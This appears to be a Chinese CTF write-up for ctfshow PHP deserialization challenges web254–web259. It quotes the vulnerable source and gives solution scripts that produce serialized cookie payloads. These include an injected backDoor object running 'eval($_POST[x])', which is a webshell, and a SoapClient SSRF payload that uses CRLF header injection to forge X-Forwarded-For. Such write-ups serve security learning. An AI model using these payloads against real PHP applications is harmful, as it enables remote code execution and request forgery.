web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
GET方式传参两个参数username和password;然后判断创建一个对象赋值给user,调用ctfshowuser中的login方法,如果GET方式传递的参数值与xxxxxx相等,便会将isvip置为true;之后便是调用checkvip来检查是否是vip,如果是,便会调用getflag函数获取flag;
因此直接传参为username=xxxxxx&password=xxxxxx
web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
与第一关的题目不同的是,增加了反序列化操作,并且在login函数中,没有对vip的值进行操作,而是我们需要在类中直接赋值;通过cookie传参user的值,是经过序列化的结果,之后再通过GET传参两个参数username和password。
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
web256
相比上一关而言,代码不同的地方如下:
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
发现在最终的GETflag方法中有一个if条件,来判断username和password是否相等,如果不相等,才会将flag输出;序列化中直接修改变量的值即可,使得两个变量的值不一样就行;GET方式传参的时候,username=xxxxxx&password=xxx
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
web257
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
这一关的题目我们会发现,变量的类型变成了私有类型,但是在PHP版本7.1+,对变量的类型不敏感;此题目的环境为php7.3.11
发现在backdoor类中存在着eval函数,因此我们下一步就是找到调用这里的地方,在ctfShowuser类中存在两个魔术方法,分别是construct函数和destruct函数,分别对应创建对象和销毁对象的时候会调用对应的函数;
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code = 'eval($_POST[x]);';
public function getInfo()
{
eval($this->code);
}
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
?>
web258
web259
考察php原生类:
什么是原生类?就是php内置类,不用定义,php自带的类,即不需要再当前脚本写出,但也可以实例化的类。
本题目考察的是SoapClient这个原生类,(没有接触过原生类,笔记如有错误,欢迎大家指点);
SoapClient内置类:是一个专门用来访问web服务的类,可以提供一个基于SOAP协议来访问Web服务的PHP客户端;(个人理解相当于python中的requests库,可以与浏览器进行交互,并发送相关报文)
函数形式:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明wsdl模式的,为null则表明非wsdl模式;
第二个参数array:在wsdl模式下可选,在非wsdl模式下,需要设置ilocation和uri,location就是发送SOAP服务器的URL,uri是服务的命名空间
现在拿着题目一点点来测试:
在题目的hint中存在着flag.php的源码:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//通过“,”获取xff头信息
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){ //ip必须为127.0.0.1
die('error');
}else{
$token = $_POST['token']; //还要通过POST方式传递参数token,并且token的值为ctfshow
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag); //最终会将flag的值,写入到flag.txt文件中
}
}
<?php
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:9999/flag.php','uri'=>'http://127.0.0.1:9999/'));
$a->getFlag();
nc来监听9999端口:
尝试修改http数据包头,我们可以控制ua,因此通过修改UA的值达到修改下面的若干选项:
<?php
$UA = "ctfshow\r\nContent-Type:application/x-www-urlencoded";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:9999/flag.php','uri'=>'http://127.0.0.1:9999/','user_agent'=>$UA));
$a->getFlag();
之后便是修改xff头部,以及content-length等信息:
产生上述的结果,会发现token=ctfshow之后还是存在着Content-type等信息,这里服务器会直接丢弃的,因为在上面的Content-length=13,后面的token=ctfshow刚好就是13,所以后面的信息便丢弃了;
最终的代码如下:
<?php
$UA = "ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1/','user_agent'=>$UA));
//$a->getFlag();
echo urlencode(serialize($a));